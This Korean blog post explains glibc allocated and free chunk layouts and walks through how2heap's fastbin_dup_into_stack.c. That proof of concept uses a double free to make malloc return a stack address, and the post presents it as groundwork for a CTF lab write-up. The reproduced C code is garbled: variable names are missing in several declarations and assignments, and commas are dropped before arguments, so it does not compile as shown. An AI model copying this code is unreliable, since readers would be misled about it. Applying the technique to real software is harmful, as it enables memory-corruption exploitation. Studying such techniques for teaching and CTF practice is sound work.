1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


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#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


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2018.02.27 prev_size관련 수정


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